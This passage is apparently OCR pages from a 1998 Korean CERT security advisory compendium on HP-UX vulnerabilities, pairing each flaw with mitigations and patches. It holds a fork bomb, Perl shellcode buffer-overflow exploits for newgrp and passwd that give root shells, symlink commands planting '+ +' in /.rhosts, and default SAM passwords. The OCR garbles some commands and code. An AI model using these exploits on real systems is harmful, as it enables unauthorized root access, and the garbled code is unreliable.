$ cue

CUE: Cannot open cue.cat in the NLSPATH=

directory fro the language, .

CUE will use the dafault in /usr/lib/nls/C/cue.cat

*** Termianl 'unknown' is not supported, we have:

console, 300h, A1659A

hp, hpfield, hpterm, hp2392, hp70092, hp70094, hp70096, hp70098,

2392, 70092, 70094, 70096, 70098, hpterm-asian

ibm3151

vt100, vt200, vt300, vt320, vt220, xterm, xterms, aixterm, vt200F

dap4x, ba80-ct03, ba80-08

97801

wy60

wy30

Memory fault

$ ls -al

Page 626: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

total 8

drwxrwxrwx 2 0 sys 1024 Oct 15 18:03 .

drwxr-xr-x 4 0 root 1024 Oct 15 17:53 ..

-rw------- 1 101 users 396 Oct 15 18:04 ..

lrwxrwxrwx 1 101 users 11 Oct 15 18:03 IDMERROR.ttyp1

-> /etc/passwd

$ more ID*

$ more /etc/passwd

$ Is -Id /etc/passwd

-r--r--r-- 1 0 sys 0 Oct 15 18:04 /etc/passwd

$ exit

logout

# cp /etc/passwd.org /etc/passwd

해킹흔적 확인방법

내용

대응방법

패치 설치

- CUE는 HP-UX 10.30(개발자 릴리즈) 이후부터 지원을 중단하였으며 HP-UX 11.0 이후

부터는 더 이상 공식적으로 지원되지 않으며, 따라서 패치가 제공되지 않는다.

임시 조치

- 다음과 같이 CUE를 사용하지 못하게 하거나 제거한다.

chmod 000 /usr/bin/cue

또는

그 /usr/bin/cue

※ HP-UX 9.X에서 CUE는 기본적으로 /bin 디렉토리에 위치한다.

- 소프트웨어 배포(Software Distributor, SD) 기능을 지원하는 HP-UX 버전 10.x에

대해서는 다음과 같이 조치한다.

/usr/sbin/swmodify -x files="/usr/bin/cue" OS-Core.CMDS-MIN

- 관련된 다른 파일들도 더 이상 필요가 없으므로 제거한다.

/[usr/s]vin/cuegetty (remove entirely),

/etc/inittab (remove references to cue and cuegetty),

.login (remove references to cue),

/usr/lbin/cuesession (remove entirely),

Page 627: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/use/newconfig/etc/cue.inittab (remove entirely),

/use/[old/]newconfig/etc/cue.dm (remove entirely),

/etc/cue.dm (remove entirely),

/usr/lib/nls/msg/C/cue.cat (remove entirely),

(cue.cat is the message catalog for localizations).

Page 628: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fork-HPUX-무한루프

fork-HPUX-loop

Page 629: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fork-HPUX-loop

fork-HPUX-무한루프

문서번호

KH98-067

문서제목

fork-HPUX-무한루프 (fork-HPUX-loop)

관련 응용프로그램

관련 운영체제

HPUX9.x/10.x

취약점 분석

취약점 이해

취약점 확인 방법

해킹수법분석

해킹수법 이해

- fork( ) 함수를 무한히 호출하면 계속하여 프로세스를 생성하며 시스템 자원을 소진시켜

시스템이 멈춘다.

해킹 소스 프로그램

main()

{

for(;;)

fork();

}

해킹시험 결과

시스템 멈춤

system not response . . . ,

Page 630: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

임시조치

- 일반사용자의 실시간 프로세스에 대한 수행 권한을 제거한다 (man2 rtprio 참조)

- 다음과 같은 커널 파라미터들을 조종한다.

MAXUPRC, MAXUSERS, MAXSWAPCHUNKS, MINSWAPCHNKS

Page 631: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fpkg2swpkg-HPUX-임시파일

fpkg2swpkg-HPUX-tmpfile

Page 632: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fpkg2swpkg-HPUX-tmpfile

fpkg2swpkg-HPUX-임시파일

문서번호

KH98-068

문서제목

fpkg2swpkg-HPUX-임시파일 (fpkg2swpkg-HPUX-tmpfile)

관련 응용프로그램

/usr/sbin/fpkg2swpkg

관련 운영체제

HPUX 10.X

취약점 분석

취약점 이해

- HP-UX 10.x의 fpkg2swpkg(1m) 프로그램은 fpkg (HP-UX9.x) 네트워크 미디어 및 제

품 명세 팡일 (Product Specification Files, PSF)을 SD swpackage (HP-UX 10.x) PSF

로 변환시켜주는 유틸리티이다.

- fpkg2swpkg 프로그램은 실행중 임시파일을 사용하는데 파일을 처리하는 과정에 안전성

이 결여되어 있다.

취약점 확인 방법

해킹수법분석

해킹수법 이해

- fpkg2swpkg 프로그램 사용하는 임시파일인 /tmp/fpkg2swpkg.log 파일을 미리 시스템파

일과 심볼릭링크를 걸어두면 해당 시스템파일의 내용을 바꾸고 666 모드로 접근권한을 변

환시킬 수 있다.

해킹 소스 프로그램

Page 633: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

uid=101(hsim) did=20(users)

$ touch /tmp/fpkg2swpkg

$ rm -f /tmpfpkg2swpkg.log

$ In -s /.rhosts /tmp/fpkg2swpkg.log

$ Is -al /.rhosts

/.rhosts not found

$ Is -al /tmp/fpkg2swpkg.log

lrwxrwxrwx 1 hsim users 8 Oct 16 16:51

/tmp/fpkg2swpkg.log -> /.rhosts

$ ksh

$ DUMMY=tmp/"'echo '₩n+ +''"

$ In -s/usr/sbin/fpkg2swpkg "${DUMMY}"

$ "${DUMMY}" /tmp/fpkg2swpk

* The options used for this run are:

- m (media type) psf

-d (destination PSF) /usr/bin/. . ./swpackage.psf

The "fpkg" prouct specification file is: /tmp/fpkg2swpk

* Begin parsing the product specification file.

ERROR: The "fn" keyword and fileset name are not optional. Check the

product

specification file.

WARNING: No files were found for fileset, "UNKNOWN"

* Failure translating the PSF file.

$ Is -Id /.rhosts

-rw-rw-rw- 1 root users 713 Oct 16 16:55 /rjpsts

$ more /.rhosts

===== 10/16/97 16:55:37 JST 10/16/97 16:55:37 JST BEGINNING

+ + PROGRAM (command line)

* The options used for this run are:

- m (media type) psf

- d (destination PSF) /usr/bin/ .../swpackage.psf

The "fpkg" product specification file is: /tmp/fpkg2swpk

Page 634: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* Begin parsing the product specification file.

ERROR: The "fn" keyword and fileset name are not optional. Check the

product

specification file.

WARNING: No files were found for fileset, "UNKNOWN"

* Failure translating the PSF file.

===== 10/16/97 16:55:37 JST 10/16/97 16:55:37 JST COMPLETED

+ + PROGRAM (command line)

.rhosts: END

해킹흔적 확인방법

- /tmp/swpackage.log라는 파일에 링크가 걸려있는지 점검한다.

대응방법

패치 설치

임시조치

- setuid root 설정 및 모든 사용자(루트 포함)의 사용권한을 제거한다.

chmod 400 /usr/sbin/swpackag

※ 만약 setuid root 설정만 제거하는 경우, 이 프로그램이 루트로 실행될때까지 기다리면

해당 취약점을 이용할 수 있게된다.

Page 635: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

newgrp-HPUX-오버플로우

newgrp-HPUX-overflow

Page 636: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

newgrp-HPUX-overflow

newgrp-HPUX-오버플로우

문서번호

KH98-069

문서제목

newgrp-HPUX-오버플로우 (newgrp-HPUX-tmpfile)

관련 응용프로그램

/bin/newgrp

관련 운영체제

HP HP_UX 93x, 10.x

취약점 분석

취약점 이해

- newgrp는 사용자 그룹 ID를 변경시키는데 사용되는 프로그램이다

- newgrp 프로그램은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- 이 프로그램은 사용자에 의해 제공된 인수의 길이를 검사하지 않아 내부 스택버퍼가 오

버플로우될 수 있다.

취약점 확인 방법

해킹수법분석

해킹수법 이해

- newgrp에 교묘히 설계된 이진 코드를 포함한 문자열을 인수로 제공하면 프로그램이 수

행될 때 내부 스텍을 오버플로우시킨 후 제공된 이진 코드를 실행하게된다.

- 이때 newgrp는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로

수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을

수도 있다.

해킹 소스 프로그램

#!/opt/per|5/bin/per|

use FileHandle;

Page 637: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sub h2cs {

local($stuff)=@_;

local($rv);

while($stuff !~ /^$/) {

$bob=$stuff;

$bob =~ s/^( ..).*$/$1/;

$stuff =~ s/^..//;

$rv.=chr(oct("0x${bob}"));

#$rv.=sprintf("%c",oct("0x${bob}"));

}

return $rv;

}

open(PIPE,"uname -rl");

chop($rev=<PIPE>);

close(PIPE);

$rev =~ s/^.*₩.(.*)₩..*$/$1/;

if ($rev eq "10") {

$offset = 2047;

$prealign="";

$postalign="P";

$pcoq=h2cs("7b03A00C");

} else {

$offset=2047;

$prealign="";

$postalign="P";

$pcoq=h2cs("7b03300C");

}

$nop=h2cs("08210280");

$code="";

# Oddly enough, real uid already == 0

# Could probably make a + + link bug out of this, too..

$code.=h2cs("34160506"); # LDI 643,r22

$code.=h2cs("96d60534"); # SUBI 666,r22,r22

$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1

$code.=h2cs("e420e008"); # BLE 4(sr7, r1)

$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0

$code.=h2cs("e83f1ffd"); # BL .+8,r1

$code.=h2cs("08210280"); # NOP

Page 638: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$code.=h2cs("34020102"); # LDI 129,rp

$code.=h2cs("08410402"); # SUB r1,rp,rp

$code.=h2cs("60400162"); # STB r0,177(rp)

$code.=h2cs("b45a0154"); # ADDI 170,rp,arg0

$code.=h2cs("0b390299"); # XOR arg0,arg0,arg0

$code.=h2cs("0b180298"); # XOR arg0,arg0,arg0

$code.=h2cs("341604be"); # LDI 607,r22

$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1

$code.=h2cs("e420e008"); # BLE 4(sr7,r2)

$code.=h2cs("96d60534"); # SUB 666,r22,r22

$code.=h2cs("deadcafe"); # Illegal instruction - dump core if exec

fails

$data="/bin/sh."; # Data stuff

$codedata=$code.$data;

$num=int(($offset-length($code)-length($data)-4)/4);

$pre="$ nop"x$num;

$of=$prealign;

$of.=$pre.$code.$data.$postalign.$pcoq;

exec("/bin/newgrp","$of");

해킹 시험 결과

$ uname -a

HP-UX hpux B.10.20 A 9000/811 2002335804 two-user license

$ id

uid=102(kadosu) gid=20(users)

$ ./newgrp.pl

Unknnown group

# id

uid=0(root) gid=20(users)

Page 639: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 흔적 확인 방법

대응 방법

패치 설치

- 패치를 설치한다.

HPUX 10.10, 10.20 Patch ID : PHC0-9605

임시 조치

- setuid 루트 설정 및 일반사용자의 실행권한을 제거한다.

chmod 500 /bin/newgrp

Page 640: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-HPUX-오버플로우

passwd-HPUX-overflow

Page 641: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-HPUX-overflow

passwd-HPUX-오버플로우

문서번호

HP98-070

문서제목

passwd-HPUX-오버플로우(passwd-HPUX-overflow)

관련 응용프로그램

/bin/passwd

관련 운영체제

HP HP-UX 9.x, 10.x

취약점 분석

취약점 이해

- passwd는 사용자의 패스워드를 변경시키는데 사용되는 프로그램이다.

-루트 소유의 파일을 변경시키기 위해 setuid root(setuid 비트가 설정된 루트소유의 파일)

로 설정되어 있다.

- passwd 명령은 사용자에 의해 제공된 인수에 대해 길이를 검사하지 않기 때문에 내부

스택버퍼가 오버플로우될 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- passwd 프로그램에 교묘히 설계된 이진 코드를 포함한 문자열을 인수로 제공하면 프로

그램이 수행될 때 내부 스텍을 오버플로우시킨 후 제공된 이진 코드도 실행하게 된다.

- 이때 passwd는 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로

수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을

수도 있다.

해킹 소스 프로그램

#l/usr/contrib/bin/perl

Page 642: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sub h2sc {

local($stuff)=@_;

local($rv);

while($stuff !~ /^$/) {

$bob=$stuff;

$bob=~s/^(..).*$/$1/;

$stuff=~s/^..//;

$rv.=chr(oct("0x${bob}"));

}

return $rv;

}

open(PIPE,"uname -rl");

chop($rev=<PIPE>);

close(PIPE);

$rev=~ s/^.*₩.(.*)₩..*$/$1/;

if($rev eq "10") {

$offset=2102;

$prealign="AA"; # 2 byte pre

$postalign=""; # 0 byte post

#pcoq=&h2cs("7b03b463");

$pcoq=&h2cs("7b03b000");

} else {

$offset=2170; # 2170 works for 9.x...

$prealign=""; # zero byte pre

$pcoq=&h2cs("7b033018");

}

$ncp=&h2cs("08210280");

$code="";

$code.=&h2cs("34160506"); # LDI 643,r22

$code.=&h2cs("96d60534"); # SUBI 666.r22.r22

$code.=&h2cs("20200801"); # LDIL L%0xc0000004,r1

$code.=&h2cs("e420e008"); # BLE 4(sr7,r1)

$code.=&h2cs("0b5a029a"); # XOR arg0,arg0,arg0

$code.=&h2cs("e83f1ffd"); # BL .+8,r1

$code.=&h2cs("08210280"); # NOP

$code.=&h2cs("34020102"); # LDI 129,rp

$code.=&h2cs("08410402"); # SUB r1,rp,rp

$code.=&h2cs("60400162"); # STB r0,177(rp)

$code.=&h2cs("b45a0154"); # ADDI 170,rp,arg0

$code.=&h2cs("0b390299"); # XOR arg1,arg1,arg1

Page 643: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$code.=&h2cs("0b180298"); # XOR arg2,arg2,arg2

$code.=&h2cs("341604be"); # LDI 607,r22

$code.=&h2cs("20200801"); # LDIL L%0xc0000004,r1

$code.=&h2cs("e420e008"); # BLE 4(sr7,r1)

$code.=&h2cs("96d60534"); # SUBI 666.r22.r22

$code.=&h2cs("deadcafe"); # Illegal instruction -- dump core if exec

fails

$data="/bin/sh."; # Data stuff

$codedata=$core.$data;

$num=int(($offset-length($code)-length($data)-4)/4);

$pre="$nop"x$num;

$of=$prealign;

$of.=$pre.$code.$data.$postalign.$pcoq;

exec("/bin/passwd","$of");

해킹시험 결과

$ id

uid=102(kadosu) gid=20(users)

$ uname -a

HP-UX hpux B. 10.20 A 9000/811 2002335804 two-user license

$ ./passwd.pl

Permission denied.

# id

uid=0(root) gid=20(users)

#

해킹흔적 확인 방법

내용

Page 644: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

패치 설치

- 다음의 패치를 설치한다.

HP-UX 10.20 700/800 시리즈 PAtch ID : PHC0_9641

임시 조치

- setid root 설정과 일반 사용자의 실행권한을 제거한다.

chmod 500 /bin/passwd

내용

Page 645: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ppl-HPUX-임시파일

ppl-HPUX-tmpfile

Page 646: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ppl-HPUX-tmpfile

ppl-HPUX-임시파일

문서번호

KH98-071

문서제목

ppl-HPUX-임시파일(ppl-HPUX-tmpfile)

관련 응용프로그램

/bin/ppl

관련 운영체제

HPUX 9.x/10.x

취약점 분석

취약점 이해

- ppl 프로그램은 setid root(setid 비트가 설정된 루트소유의 파일)로 설정되어 있다.

- ppl 프로그램은 수행과정에서 임시파일을 사용하는데 안전하지 않은 방법으로 임시파일

을 처리한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- ppl은 /var/ppl/log이란 이름의 임시파일을 사용하는데 일반사용자가 미리 시스템파일을

이 임시파일과 심볼릭링크를 걸어두면 임의의 시스템파일의 내용을 변경시킬 수 있다.

해킹 소스 프로그램

해킹시험결과

$ ls -l /.rhosts

/.rhosts not found

$ ln -s /.rhosts/var/ppl/log

$ ls -ld /.rhosts

/.rhosts not found

$ ls -ld /var/ppl/log

Page 647: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

lrwxrwxrwx 1 kadosu users 8 Oct 23 02:52 /var/ppl/log

-> /.rhostws

$ /bin/ppl -o '₩

>++

>'

/bin/ppl/:starting for kadosu at Thu Oct 23:02:53:30 1997

unknown ostname: ₩

++

If you want to connect to another machine, use -o

$ ls -ld /.rhosts

-rw------- 1 root users 199 Oct 23 02:53 /.rhosts

$ su root

Password:

# id

uid=0(root) gid=20(users)

# ls -ld /.rhosts

-rw------- 1 root users 199 Oct 23:02:53 /.rhosts

# more /.rhosts

016p: 295 02:53:30 : /bin/ppl: starting for kadosu at Thu Oct 23

02:53:30 1997

016p: 295 02:53:30 : unknown hostname: ₩

++

016p: 295 02:53:30 : If you want to connect to another machine. use -o

.rhosts: END

해킹흔적 확인방법

대응방법

패치설치

- 다음의 패치를 설치한다.

HP-UX 9.X PHNE_9378

HP-UX 10.00/10.01 PHNE_9375

HP-UX 10.10 PHNE_9376

HP-UX 10.20 PHNE_9771

Page 648: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

임시 조치

- setid root 설정과 모든 사용자(루트포함)의 실행권한을 제거한다.

chmod 400 /bin/ppl

※ setid root 설정만 제거하는 경우, 루트 사용자가 ppl을 수행시킬때까지 기다려 취약점

을 이용할 수 있게된다

Page 649: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ppl-HPUX-코어덤프

ppl-HPUX-coredump

Page 650: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ppl-HPUX-coredump

ppl-HPUX-코어덤프

문서번호

KH98-072

문서제목

ppl-HPUX-오버플로우(ppl-HPUX-coredump)

관련 응용프로그램

/bin/ppl

관련 운영체제

HPUX 9.x, 10.x

취약점 분석

취약점 이해

- ppl(1)은 SLIP 또는 CSLIP을 이용한 점대점(point-to-point) 직렬통신 기능을 제공하는

프로그램이다.

- ppl은 setuid root(setuid 비트가 설정된 루트소유의 파일)로 설정되어 있다.

- ppl의 프로그램 버그로 인해 사용자가 제공하는 인수에 따라서는 프로그램이 중단하면서

코어덤프(core dump) 파일을 생성할 수도 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 일반 사용자가 ppl에 제공되는 입력값을 조작하여 ppl로 하여금 코어덤프(core dump)파

일을 생성하게 할 수 있으며, 또한 코어 파일의 위치를 사용자가 지정할 수 있으므로 이를

이용해 일반사용자가 루트 권한으로 임의의 파일을 생성시키거나 손상시킬수 있으며 결과적

으로 일반사용자가 루트 권한을 얻을 수도 있다.

해킹 소스 프로그램

해킹시험 결과

# su kadosu

$ ls -ld /.rhosts

/.rhosts not found

Page 651: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$ ln -s /.rhosts core

$ ls -ld core

lrwxrwxrwx 1 kadosu users 8 Oct 23 03:09 core ->

/.rhosts

$ ppl -o "'echo

"'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'₩n

++"'"

sh:: Execute permission denied

ppl: starting for kadosu at Thu Oct 23 03:20:05 1997

unknown hostname: +

If you want to connect to another machine, use -o

$ id

uid=102(kadosu) gid=20(users)

$ ls -ld /.rhosts

-rw------- 1 root users 8 Oct 23 03:09 core ->

# ls -ld /.rhosts

-rw------- 1 root users 189 Oct 23 03:20 /.rhosts

$ su root

Password:

# cat /.rhosts

031p: 295 03:20:05 : ppl: starting for kadosu at Thu Oct 23 03:20:05

1997

031p: 295 03:20:05 : unknown hostname: +

031p: 295 03:20:05 : If you want to connect to another machine, use -o

#

해킹흔적 확인방법

대응방법

패치 설치

- 다음의 패치를 설치한다.

HPUX 10.20 Patch ID : PHNE_13182

Page 652: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

임시조치

- 다음과 같이 setid 설정과 모든 사용자에 대한 실행권한을 제거한다.

# chmod 400 /usr/bin/ppl

- ppl 기능이 필요한 겨우, 신뢰할 수 있는 사용자들만의 그룹(예를들어, ppltrustee)을 정

의하고 이 그룹에만 ppl 사용권한을 부여한다. 단, 이 경우, 이 그룹의 사용자들은 위의 취

약점을 이용할 수 있다.

# chgrp ppltrustee /usr/bin/ppl

# chmod 4550 /usr/bin/ppl

Page 653: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sam_exec-HPUX-입력처리

sam_exec-HPUX-parse

Page 654: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sam_exec-HPUX-parse

sam_exec-HPUX-입력처리

문서번호

KH98-073

문서제목

sam_exec-HPUX-입력처리(sam_exec-HPUX-parse

관련 운영체제

HP HP-UX 9.x, 10.x

취약점 분석

취약점 이해

- SAM은 원격 시스템 관리자로서 이를 이용하여 클러스터 노드를 원격으로 관리할 수 있

다.

- SAM 바이너리에 디폴트 계정이 존재하며 해당 패스워드가 널리 알려져 있다. 이 계정은

rsh를 이용하여 원격 시스템에 생성된다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 원격지호스트에서 r-계열의 서비스를 이용하여 SAM을 허용할 경우, 원격지에서 SAM을

수행시킨 후 ^(Control)+Q 또는 ^(Control)+.C를 누르면 쉘모드로 나간다.

- 다음과 같은 시스템별 디폴트 패스워드를 이용하여 SAM이 실행되는 사용자(root)의 권

한을 가진 쉘을 이용할 수 있다.

Password for 9.x: Yosemite

Password for 10.x: x7vpa5jh

해킹 소스 프로그램

Page 655: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

#HOSTA

SAM remote admin allow ->/home/sam_exec/.rhosts

#HOSTA cat /home/sam_exec/.rhosts

HOSTB root

#HOSTB

#HOSTB rlogin HOSTA-1 sam_exec

Ct^Q(shell exit for sam pgm) or Ct^c(.profile before excuting sam pgm)

#HOSTA

id = 0

cat ~/.profile

sam&

......

해킹흔적 확인방법

대응방법

패치설치

임시조치

- 원격 관리기능을 제거한다.

- /etc/passwd 파일의 SAM관련 계정의 패스워드 필드에 “*”를 추가한다.

Page 656: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

SAM-HPUX-임시파일

SAM-HPUX-tempfile

Page 657: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

SAM-HPUX-tempfile

SAM-HPUX-임시파일

문서번호

KH98-074

문서제목

SAM-HPUX-임시파일(SAM-HPUX-tmpfile)

관련 응용프로그램

SAM

관련 운영체제

HP-UX 9.x (키타 취약한 버젼의 SAM을 탑재한 시스템)

취약점 분석

취약점 이해

- SAM은 원격 시스템 관리자로서 이를 이용하여 클러스터 노드를 원격으로 관리할 수 있

다.

-SAM 스크립트의 수행중 호출되는 ioparser.sh는 /tmp/sam.<pid>라는 이름의 임시 파일

을 만들어 낸다. 이 임시파일 처리 과정에 경쟁조건(race condition)이 존재한다.

취약점 확인 방법

- /tmp/sam.$$에 심볼릭링크가 걸려있는지 확인한다.

해킹수법 분석

해킹수법 이해

- SAM 스크립트의 수행중 호출되는 ioparser.sh는 /tmp/sam.<pid>라는 이름의 임시 파

일을 만들며 이 임시파일 처리 과정에 경쟁조건(race condition)이 존재한다. 이 경쟁조건을

이용하여 해당 임시 파일을 시스템파일에 링크시킬 수 있으며, 결과적으로 일반사용자가

root권한의 파일을 조작할 수 있다.

해킹 소스 프로그램

- 첨부

Page 658: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

localuser$ ./sam_race

Looking for process ioparser.sh, will exploit filename/check_this

ioparser.sh has run, wait a few seconds and check /check_this

superuser# /var/adm/sw/patch/PHC0_9895/usr/sam/lbin/ioparser.sh

:pa:bc:1:0:::0:CLAIMED:0xc00;0x5000047:Bus Converter:0 0 0 0 0 0 0 0:::

:sio:mux2:0:0:/0:::CLAIMED:0xd00;0x1008085:MUX:4 0 0 0 98 170 0 2:::

:wsio:c720:0:4:::0:CLAIMED:0X8980;0X1310084:GSC add-on Fast/Wide SCSI

Interface:7 0 0 0 91 36 0 2:::

:wsio:sdisk:0:4.5.0:5:0:0:CLAIMED:0x0;0x202:SEGATE ST325550W:218 145 237 96

54 252 245 104:::

:wsio:sctl:0:4.7.0:::0:CLAIMED:0x0;0x0:Initiator:0 0 0 0 0 0 0 0:::

:wsio:graph3:0:8:::0:CLAIMED:0X8500;0X40808a:Graphics:1 0 0 0 237 194 0 2:::

:core:bus_adapter:0:16:::0:CLAIMED:0x8100;0x2f0800b:Core I/O Adapter:0 0 0 0 0 0

0 0:::

:wsio:Centif:2:16/0:::0:CLAIMED:0x7400;0x7400;0x2f0800a:Built-in Parallel

Interface:0 0 0 0 0 0 0 0

0:::

